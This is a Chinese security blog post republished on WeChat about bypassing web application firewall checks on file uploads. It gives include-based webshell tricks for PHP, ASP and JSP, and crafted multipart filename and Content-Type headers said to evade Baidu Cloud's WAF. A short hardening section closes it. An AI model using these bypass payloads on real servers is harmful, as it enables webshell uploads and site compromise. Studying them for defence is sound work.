南伯基尼 乌雲安全
微信号 hackctf
功能介绍 乌雲安全,致力于红队攻防实战、内网渗透、代码审计、社工、安卓逆向、CTF比赛技巧、安全运维等技术干货分享,并预警最新漏洞,定期分享常用渗透工具、教程等资源。
__
收录于话题
#waf绕过
5个
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!
今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!
客户端javascript校验(一般只校验后缀名)服务端校验1>文件头content- type字段校验(image/gif)2>文件内容头校验(GIF89a)3>后缀名黑名单校验4>后缀名白名单校验5>自定义正则校验6>WAF设备校验(根据不同的WAF产品而定)
eg1:
1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容
2.然后再上传一个.php的文件,内容为
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
PHP<?php Include("上传的txt文件路径");?>ASP<!--#include file="上传的txt文件路径" -->JSP<jsp:include page="上传的txt文件路径"/>or<%@include file="上传的txt文件路径"%>
访问shell.php就可以执行php代码
尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
发现百度云目前正在拦截后缀,百度云过上传还跟<?php前面是否有代码还有很大关系,在这里就不要废话了,大家自己去研究一下吧。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
Bypass:
Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
Note:你看的没错,删除Content-Type: image/jpeg即可绕过。
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
Bypass:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png
C.php"
Note:删掉ontent-Type:
image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".原理就不多说了,自己研究。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
详细说一下Type绕过防御机制,其他的防御机制自己可以下去研究.
只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,所以此点至关重要。
判断文件类型时,应结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。
文件上传如果要执行代码,则需要用户能访问到这个文件。在某些环境下,用户能上传,但是不能访问。
研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要只是仅仅停留在正则表达式、基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。
作者:南伯基尼来源:https://blog.csdn.net/weixin_44203158/article/details/107213031
** **扫描关注乌雲安全****
* * *
**觉得不错点个 **“赞”** 、“在看”哦** **![](https://gitee.com/fuli009/images/raw/master/public/20210816090737.png)**
预览时标签不可点
收录于话题 #
个 __
上一篇 下一篇
阅读原文
阅读
分享 收藏
赞 在看
____已同步到看一看写下你的想法
前往“发现”-“看一看”浏览“朋友在看”
前往看一看
看一看入口已关闭
在“设置”-“通用”-“发现页管理”打开“看一看”入口
我知道了
__
已发送
取消 __
发送
常见6种WAF绕过和防护原理
最多200字,当前共字
__
发送中
微信扫一扫
关注该公众号
微信扫一扫
使用小程序
取消 允许
取消 允许
知道了
长按识别前往小程序